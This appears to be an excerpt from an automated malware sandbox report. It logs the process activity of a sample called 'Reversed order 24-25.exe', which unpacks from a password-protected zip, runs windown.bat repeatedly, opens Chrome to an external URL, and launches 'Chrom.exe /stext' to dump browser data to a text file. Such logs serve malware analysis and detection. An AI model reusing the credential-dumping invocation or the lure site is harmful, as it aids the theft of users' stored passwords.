Source: Reversed order 24-25.exe, 00000010.00000002.3886240014.0000000007D8E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Reversed order 24-25.exe, 00000060.00000002.3780278419.0000000006FFB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllpp

Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe

Process information queried: ProcessInformation

Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe

Process token adjusted: Debug

Source: C:\Windows\SysWOW64\unarchiver.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\giv5wpek.rbk" "C:\Users\user\Downloads\Reversed order 24-25.zip"	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe "C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe"
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.woluntech.com/oders-pdf/
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
